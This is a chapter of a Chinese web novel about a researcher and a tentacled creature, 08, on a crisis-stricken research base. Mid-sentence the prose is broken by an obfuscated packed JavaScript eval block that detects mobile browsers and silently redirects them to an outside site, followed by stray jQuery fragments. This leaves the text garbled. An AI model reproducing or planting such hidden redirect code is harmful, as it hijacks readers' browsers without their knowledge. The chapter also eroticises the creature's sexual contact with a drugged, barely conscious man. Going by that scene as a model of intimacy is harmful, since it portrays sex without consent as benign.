会议已经接近尾声。
黎隻提前退场,在研究所无人的走廊里脚步踉跄地前往单人宿舍。
白大褂被他脱下搭在手臂上,一向系到最顶端的衬衫纽扣此时散开两颗。
脖颈上泛红的痕迹逐渐往下,隐约可见白皙锁骨。
凌乱的发丝掩饰住潮红的眼角,增添了一抹不能窥见的风情。
“哈……呃……”
黎隻忍不住喘息一声,残留的理智又让他及时咬唇制止这样羞耻的声音从喉间溢出。
他用手扶住墙面,走路时一个踉跄却没跌倒,腰身一紧,是08用触手卷住了他。
黎隻的视线开始变得模糊不清,难以言喻的汹涌热潮如海浪般不断冲击他仅存的神智。
“08,带我回宿舍……”他低喃,甚至不能确定自己是否真的出声。
好在08足够聪明能明白他的意思。
它的力气很大,腰上的触手轻松将他提起,将黎隻稳稳地放在宿舍门前。
另一条触手卷住他的手腕抬起,让黎隻的指腹落在指纹锁上。
“嘀——”门开了。
08带着黎隻进屋后迅速将门关上,走廊墙角挂着的监控里红点闪烁了两下,又恢复了记录。
神志不清的黎隻被触手温柔地放在床上。
黎隻侧身,腰背微弓。
他蜷缩着身子,嘴唇紧咬,手指用力地攥着身下的床被。
衬衫的衣摆随着动作掀起一角,他闭上眼,嫣红一片,像是承受着莫大的痛苦。
在他看不到的地方,08原本淡蓝透明的身体逐渐变得浓黑粘稠。
膨胀的身形将整个房间都包裹其中。
黎隻的身上正散发着浓烈的好闻气息。
祂贪婪地“嗅闻”着房间内被祂锁住的气味。
黎隻的反应这么剧烈,大概和祂还在求偶期脱不了关系,原来祂的黏液对黎的影响这么大。
嗤嗤……这副模样的黎,好可怜啊。
祂陡然变得兴奋起来。
蜿蜒的蓝黑色流液一点点淹没黎隻所在的床被,将他周身裹住。
感受到凉意让他下意识想要贴近,他不知道自己此时都浸染上粘稠古怪的流液。
那些流液仿若有生命般不断挤占着,最后凝聚成一条条缠绕的蓝黑触手。
被紧密束缚的感觉让黎隻难耐地想要挣扎。
却又因为某种亲密摩挲后缓解的痛苦让他想要贴近。
痛苦与愉悦交织,让他眼角不断溢出泪滴,“呜……”
滑落在鬓发上的眼泪很快就会被祂吸入体内。
祂回味片刻,黎的眼泪好甜。
落在上方的触手尖正暧昧地打着圈,祂苦恼地轻叹,真的好浅啊,会被撑坏的。
触手尖下移,轻柔地慢慢裹住。
内侧收缩着的吸盘让触感更加鲜明。
黎隻的手指徒劳地想要抓住什么,却只能任由冰凉滑腻在手指间游走。
祂的吸附力很强,什么都能容纳,不只是眼泪。
……
迷蒙中黎隻双眼微睁,此时房间漆黑一片,他看不见墙壁上流动的粘稠物体,只能感觉08在他的身边。
他刚才是睡着了吗?头好晕。
“08?”他试探地唤了一声。
墙壁与天花板上的流液如潮水般褪去,浓黑消散,凝聚成淡蓝透明的一团。
祂将自己往黎隻的怀里塞了塞,“咕叽。”我在这里。
黎隻感觉到08柔软的身体,安心地将脸颊贴在它的身上。
他还记得进门前发生的事,是08将他带进的宿舍,虽然之后发生了什么他彻底断片,但黎隻感受到自己身上被换上的睡衣。
他知道是08在照顾他。
“谢谢。”黎隻小声道谢,08的身体因为他的贴近变得粉红。
祂心虚地伸长触手,将地上被蹂躏得皱皱巴巴的衬衫与长裤往床底藏。
黎隻疲惫地闭了闭眼,他抬手触碰后颈,那里的伤口已经愈合。
只是因为涂抹了08分泌出的黏液就能让伤口在一夜之间愈合。
身为研究员,他知道这意味着什么,08具有重大研究价值。
如果让其他人知道,黎隻不确定他们会对08做些什么,总之不会是好事。
现在的基地不值得他信任,关于之前出现的异变者,潜意识里他已经有了猜测。
但那实在太过罔顾人伦,更何况他没有找到证据,基地上层不会承认。
黎隻强压下愤怒的情绪,说到研究价值,08黏液的副作用也显而易见。
黎隻无奈地捏了捏它,“下次不要再这样了,那点伤口可以等它慢慢愈合。”
沉溺于欲望的放纵对他来说很陌生,他不喜欢这种失控的感觉。
08闻言自然只能装乖卖痴地在黎隻怀里蹭啊蹭,以后的事还是等以后再说,不过祂可不会再让黎隻受伤了。
*
“你们的意思是,要把这些已经异变的人员迁移到另一座岛屿等他们自生自灭?”
姚曼舒不可置信地看着研究所内的众人。
“你话别说得这么难听,”秦季青皱眉看了她一眼。
“这只是合理转移,我们至今没有发现异变原因,如果放任他们呆在基地,我们不能保证其他人的安全。”
姚曼舒嘲讽地哼笑一声。
“哦,合理转移,那转移之后呢?派谁去照料他们?基地真的还会救治他们吗?别的岛屿上什么也没有,你们拿什么救治!”
“这也不是我们能左右的事,这是基地里的负责人们一致通过的决定。”
秦季青身旁的研究员说完摊手,示意他们也无能为力。
“你们在谈论什么?”
黎隻还没走进来就听见他们剑拔弩张的争执。
姚曼舒迫不及待地把她刚才知道的消息告诉黎隻。
“……事情就是这样,因为担心传染,他们打算把所有的异变人员全部转移到一个鸟不拉屎的地方。”
“可是我们还没有找到异变原因,把他们送出去研究又怎么办?”
黎隻不赞同地摇头,他的情绪不像姚曼舒表现的那样激动,只是偏头看向秦季青平静问道。
“这件事不能再商量一下吗?”
秦季青与他对视片刻,脑海深处微妙的不适感让他本能避开黎隻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936434|177237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的视线。
“上面的人已经准备下达通知,最多可能会安排一部分基地的人员前往另一座隔离岛屿。”
只是那部分的人员基本也是被放弃了,让谁去也很头疼,谁都不想去送死,上面估计会给足封口费。
黎隻与姚曼舒对视一眼,默契让他们都明白了彼此的意思。
姚曼舒上前一步,下巴微扬,“我和黎隻申请前往,那边没有研究员也不行吧。”
他们不会放弃任何一个可能获救的同胞。
秦季青早就料到他们会这么说,黎隻他们的离开对他没影响,反而还有很多好处。
唯一棘手的是黎隻的价值对基地很重要,但少这一两个也没什么要紧,幸好对方的存在感一直很弱,他有自信能说服上层。
“行,我去跟上面说一声,申请表下来你们到时候自己填。”
秦季青他们离开之后,姚曼舒翻了个白眼,“你看见没?我说我们要走的时候那群人都快笑出声来了。”
不等黎隻回应,她又忧心忡忡地打量实验室里面的器材。
“也不知道到时候能允许我们带走多少东西,啊对我还有很多行李要收拾,先走了。”
姚曼舒说完就风风火火跑开了,看方向是宿舍。
黎隻笑叹口气,姚曼舒做什么决定都很果断,这也是他们会成为朋友的原因,朝着既定的目标向前走从不犹豫不决。
她也不会考虑上岛的危险性,只是认为自己应该这么做便这么做了。
目前异变人员的转移迫在眉睫,也就是这两天的事,黎隻思索着。
罢了,不管基地瞒着他们做了什么,等到他与异变者直接接触的时候总会发现原因。
*
异变者转移的消息暂时只有很小一部分人知道,就连运输他们的船也都是晚上出行,随行的基地人员在另一艘船上。
与黎隻与姚曼舒主动申请不同,其余人都是被迫签署协议,面上也是死气沉沉,对这次出行的后果没有抱有任何期待。
黎隻睡不着站在甲板上,海风阵阵,抬头就能看见璀璨的繁星。
据说那座小岛上只有用简易材料搭建的平板房,也不知道能不能防风。
还有这次运输过来的实验器材,研究所愿意批给他们的都是最基础的东西。
从侧面也能看出那些人真的很怕他和姚曼舒发现什么。
黎隻拢了拢肩上披着的外套,转过身就看见不远处靠在栏杆旁的高大身影。
船上老旧的灯泡闪烁着,照得那人的身形忽明忽暗,黎隻直觉对方一直都在看着他。
黎隻看不清他的面容,迟疑问道,“你是……”
那人上前一步,借着月光,黎隻最先看见的是他的眼睛。
黑亮的瞳眸中暗藏一抹幽蓝,看向他的时候永远都是眼角微弯带着笑意。
就好像看见黎隻是一件最值得高兴的事情。
这次他没有戴面罩,温柔的月色下,年轻俊逸的面容上眉眼深邃,鼻梁挺拔,唇角上扬。
他明亮的眼睛眨了眨,对上黎隻的视线后眼尾弧度加深,露出一个熟悉的有点腼腆害羞的笑容。
“黎……博士,好久不见。”